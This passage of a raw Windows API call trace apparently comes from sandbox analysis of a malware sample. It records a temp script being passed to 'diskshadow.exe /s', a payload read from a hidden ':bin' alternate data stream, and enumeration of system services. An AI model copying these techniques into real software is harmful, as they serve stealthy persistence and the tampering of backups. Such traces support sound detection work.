(HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eea60 [0027.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Tor781B.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\tor781b.tmp"), fInfoLevelId=0x0, lpFileInformation=0x34f41c | out: lpFileInformation=0x34f41c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x276b9ff0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x276b9ff0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x276b9ff0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0027.039] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Tor781B.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\tor781b.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x144 [0027.039] SetFileTime (hFile=0x144, lpCreationTime=0x0, lpLastAccessTime=0x34f460, lpLastWriteTime=0x34f460) returned 1 [0027.039] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x2800) returned 0x5031f0 [0027.039] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509600 [0027.040] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509600) returned 1 [0027.040] WriteFile (in: hFile=0x144, lpBuffer=0x5031f0*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x34f48c, lpOverlapped=0x0 | out: lpBuffer=0x5031f0*, lpNumberOfBytesWritten=0x34f48c*=0x1a, lpOverlapped=0x0) returned 1 [0027.040] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5031f0) returned 1 [0027.040] NtClose (Handle=0x144) returned 0x0 [0027.041] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x509e98 [0027.042] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509600 [0027.042] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509600) returned 1 [0027.042] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509e98) returned 1 [0027.042] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eeae8 [0027.042] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x502850 [0027.042] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eeae8) returned 1 [0027.042] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\diskshadow.exe", lpCommandLine="C:\\Windows\\system32\\diskshadow.exe /s C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Tor781B.tmp", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x34f448*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x34f438 | out: lpCommandLine="C:\\Windows\\system32\\diskshadow.exe /s C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Tor781B.tmp", lpProcessInformation=0x34f438*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0027.042] NtClose (Handle=0x0) returned 0xc0000008 [0027.042] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0027.042] NtClose (Handle=0x0) returned 0xc0000008 [0027.042] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eea60) returned 1 [0027.042] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502de8) returned 1 [0027.042] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee9d8) returned 1 [0027.042] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0027.042] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0027.042] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0027.042] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1f~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x34f468 | out: lpFileInformation=0x34f468*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x26c03cf0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x26c03cf0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x26c03cf0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0027.042] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1f~1:bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x144 [0027.043] SetFileTime (hFile=0x144, lpCreationTime=0x0, lpLastAccessTime=0x34f4ac, lpLastWriteTime=0x34f4ac) returned 0 [0027.043] GetFileSize (in: hFile=0x144, lpFileSizeHigh=0x34f498 | out: lpFileSizeHigh=0x34f498*=0x0) returned 0x44000 [0027.043] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x34f4a4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x34f4a4*=0) returned 0x0 [0027.043] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x44000) returned 0x509e98 [0027.045] ReadFile (in: hFile=0x144, lpBuffer=0x509e98, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x34f4d8, lpOverlapped=0x0 | out: lpBuffer=0x509e98*, lpNumberOfBytesRead=0x34f4d8*=0x44000, lpOverlapped=0x0) returned 1 [0027.194] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x44000) returned 0x54dea0 [0027.197] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509e98) returned 1 [0027.197] NtClose (Handle=0x144) returned 0x0 [0027.197] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6637d8 [0027.200] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40000) returned 0x509e98 [0027.200] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x400) returned 0x502850 [0027.200] EnumServicesStatusExW (in: hSCManager=0x6637d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x509e98, cbBufSize=0x40000, pcbBytesNeeded=0x34f484, lpServicesReturned=0x34f474, lpResumeHandle=0x34f480, pszGroupName=0x0 | out: lpServices=0x509e98, pcbBytesNeeded=0x34f484, lpServicesReturned=0x34f474, lpResumeHandle=0x34f480) returned 1 [0027.209] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509600 [0027.209] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0027.209] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee9d8 [0027.209] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eea60 [0027.209] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eeae8 [0027.209] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eeb70 [0027.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0027.209] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509648 [0027.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x509648, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0027.209] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509690 [0027.209] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509648) returned 1 [0027.209] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509690) returned 1 [0027.209] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eeb70) returned 1 [0027.209] OpenServiceW (hSCManager=0x6637d8, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x1) returned 0x6638a0 [0027.209] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.210] GetLastError () returned 0x7a [0027.210] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x146, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eeb70 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eebf8 [0027.210] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eeb70) returned 1 [0027.210] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eebf8) returned 1 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eebf8 [0027.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashplayerupdateservice.exe", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509690 [0027.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashplayerupdateservice.exe", cchWideChar=28, lpMultiByteStr=0x509690, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashplayerupdateservice.exe", lpUsedDefaultChar=0x0) returned 28 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509648 [0027.210] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509690) returned 1 [0027.210] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509648) returned 1 [0027.210] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eebf8) returned 1 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509648 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509690 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eebf8 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eeb70 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eec80 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eed08 [0027.210] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eed90 [0027.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.211] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5096d8 [0027.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x5096d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0027.211] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509720 [0027.211] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5096d8) returned 1 [0027.211] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509720) returned 1 [0027.211] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eed90) returned 1 [0027.211] OpenServiceW (hSCManager=0x6637d8, lpServiceName="AeLookupSvc", dwDesiredAccess=0x1) returned 0x663968 [0027.211] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.211] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.211] GetLastError () returned 0x7a [0027.211] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x106, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eed90 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eee18 [0027.212] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eed90) returned 1 [0027.212] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eee18) returned 1 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eee18 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eed90 [0027.212] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eee18) returned 1 [0027.212] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eed90) returned 1 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eed90 [0027.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509720 [0027.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5096d8 [0027.212] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509720) returned 1 [0027.212] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5096d8) returned 1 [0027.212] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eed90) returned 1 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5096d8 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eed90 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eee18 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eeea0 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eef28 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eefb0 [0027.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509720 [0027.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x509720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0027.212] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509768 [0027.212] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509720) returned 1 [0027.212] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509768) returned 1 [0027.212] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eefb0) returned 1 [0027.212] OpenServiceW (hSCManager=0x6637d8, lpServiceName="ALG", dwDesiredAccess=0x1) returned 0x6638c8 [0027.213] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.213] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.213] GetLastError () returned 0x7a [0027.213] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x11a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eefb0 [0027.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef038 [0027.213] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eefb0) returned 1 [0027.213] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef038) returned 1 [0027.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef038 [0027.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509768 [0027.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg.exe", cchWideChar=7, lpMultiByteStr=0x509768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg.exe", lpUsedDefaultChar=0x0) returned 7 [0027.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509720 [0027.213] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509768) returned 1 [0027.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509720) returned 1 [0027.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef038) returned 1 [0027.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509720 [0027.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef038 [0027.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eefb0 [0027.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef0c0 [0027.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef148 [0027.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef1d0 [0027.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509768 [0027.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x509768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0027.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5097b0 [0027.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509768) returned 1 [0027.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5097b0) returned 1 [0027.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef1d0) returned 1 [0027.214] OpenServiceW (hSCManager=0x6637d8, lpServiceName="AppIDSvc", dwDesiredAccess=0x1) returned 0x6639b8 [0027.214] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.214] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.214] GetLastError () returned 0x7a [0027.214] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x18e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x549ea0 [0027.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef038) returned 1 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef038 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef1d0 [0027.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef038) returned 1 [0027.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef1d0) returned 1 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef1d0 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef038 [0027.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef1d0) returned 1 [0027.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef038) returned 1 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef038 [0027.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5097b0 [0027.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5097b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509768 [0027.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5097b0) returned 1 [0027.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509768) returned 1 [0027.215] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef038) returned 1 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509768 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef038 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef1d0 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef258 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef2e0 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef368 [0027.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5097b0 [0027.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x5097b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0027.215] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5097f8 [0027.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5097b0) returned 1 [0027.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5097f8) returned 1 [0027.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef368) returned 1 [0027.216] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Appinfo", dwDesiredAccess=0x1) returned 0x6638a0 [0027.216] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.216] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.216] GetLastError () returned 0x7a [0027.216] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x122, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef368 [0027.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef3f0 [0027.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef368) returned 1 [0027.216] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef3f0) returned 1 [0027.216] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef3f0 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef368 [0027.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef3f0) returned 1 [0027.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef368) returned 1 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef368 [0027.217] WideCharToMultiByte (in: 